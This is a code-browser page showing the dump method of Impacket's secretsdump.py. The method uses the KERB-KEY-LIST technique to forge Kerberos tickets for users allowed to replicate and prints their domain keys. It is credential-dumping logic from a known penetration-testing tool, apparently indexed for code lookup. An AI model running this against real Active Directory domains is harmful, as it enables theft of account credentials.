MCPcopy
hub / github.com/fortra/impacket / dump

Method dump

impacket/examples/secretsdump.py:3617–3628  ·  view source on GitHub ↗
(self)

Source from the content-addressed store, hash-verified

3615 self.__domain = self.__remoteOps.getDNSDomain()
3616
3617 def dump(self):
3618 LOG.info('Using the KERB-KEY-LIST method to get secrets')
3619 self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1])
3620 targetList = self.getAllowedUsersToReplicate()
3621 for targetUser in targetList:
3622 user = targetUser.split(":")[0]
3623 targetUserName = Principal('%s' % user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
3624 partialTGT, sessionKey = self.createPartialTGT(targetUserName)
3625 fullTGT = self.getFullTGT(targetUserName, partialTGT, sessionKey)
3626 if fullTGT is not None:
3627 key = self.getKey(fullTGT, sessionKey)
3628 print(self.__domain + "\\" + targetUser + ":" + key[2:])
3629
3630 def createPartialTGT(self, userName):
3631 # We need the ticket template

Callers

nothing calls this directly

Calls 8

createPartialTGTMethod · 0.95
getFullTGTMethod · 0.95
getKeyMethod · 0.95
PrincipalClass · 0.90
splitMethod · 0.80
connectSamrMethod · 0.45

Tested by

no test coverage detected